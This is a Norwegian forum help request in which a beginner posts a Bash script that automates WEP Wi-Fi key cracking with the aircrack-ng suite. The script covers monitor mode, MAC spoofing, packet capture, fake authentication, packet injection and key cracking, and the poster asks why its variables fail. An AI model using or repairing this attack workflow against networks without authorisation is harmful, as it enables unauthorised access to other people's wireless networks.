Vil bare nevne at jeg er ny innenfor Bash skripting, og begynte for ikke så lenge siden.
Men har nå skrevet et skript som kan cracke WEP nettverk etter at du har gitt den noen variabler, men, problemet er at den fanger ikke opp variablene.
Her er koden:
Problemet begynner når når jeg skal spesifisere airodumpen til den valgte kanal, bssid og navn på capture fil.
Jeg kan fint skrive inn variablene, men når den skal sjekke hva du har skrevet, og kjøre airodumpen med variablene, så kommer det bare frem hjelp siden til airodump. Har desverre ikke fått teste ut mer, siden jeg ikke kommer lengre :-P
Takk på forhånd for hjelp :-)
Men har nå skrevet et skript som kan cracke WEP nettverk etter at du har gitt den noen variabler, men, problemet er at den fanger ikke opp variablene.
Her er koden:
Kode
#!/bin/bash OPTIONS="List_wireless_interfaces Change_MAC-address WEP-Attack" select opt in $OPTIONS; do if [ "$opt" = "List_wireless_interfaces" ]; then echo Listing wireless interfaces.. sleep 2 airmon-ng echo Is you interface wlan0, enter Y or N? read $Y airmon-ng start wlan0 elif [ "$opt" = "Change_MAC-address" ]; then echo Starting MACChanger.. sleep 2 echo Have you put your wireless networkcard in monitor mode? Y or N read $Y ifconfig mon0 down macchanger -a mon0 sleep 2 ifconfig mon0 up elif [ "$opt" = "WEP-Attack" ]; then echo Starting airodump-ng sleep 2 echo Do you want to use mon0 as interface? Y or N. read $Y airodump-ng mon0 echo Hit ctrl + c to stop capturing data! echo Did you find you network? Y or N. read $Y echo Okey, now you have to put in some info on the network, press enter when ready. read $enter sleep 1 echo What channel are the network on? read $chnl echo What Do you want to name the capture file? read $name echo What is the networks BSSID? read $bssid echo You submitted info. Is it correct? Y or N. echo Channel: $chnl echo Filnavn: $name echo BSSID: $bssid read $Y airodump-ng -c$chnl -w$name --bssid$bssid mon0 echo You need atleast 50.000 packets of data. Do you have that? Y or N. read $N echo Then you need to inject some packets, Do you want to Do that? Y or N. read Y$ echo Okey, need som info then. Press enter when your ready. read $enter echo Enter the networks BSSID. read $bssid echo First we got to Do a fake authentication aireplay-ng -1 1 -a $bssid mon0 echo Assosiation successfull? Y or N. read $Y echo Injecting packets! aireplay-ng -3 -b $bssid mon0 clear Look at your airodump windows now, is your data raising? echo When reaching 50.000 packets you can stop the injection by pressing ctrl + c. echo Lets crack that key, huh? sleep 2 echo Enter the name of the file you named earlier. read $name echo Ready to crack? sleep 3 aircrack-ng $name*.cap echo Its cracking now! It shouldnt take long time! else echo Bad option! fi done
Jeg kan fint skrive inn variablene, men når den skal sjekke hva du har skrevet, og kjøre airodumpen med variablene, så kommer det bare frem hjelp siden til airodump. Har desverre ikke fått teste ut mer, siden jeg ikke kommer lengre :-P
Takk på forhånd for hjelp :-)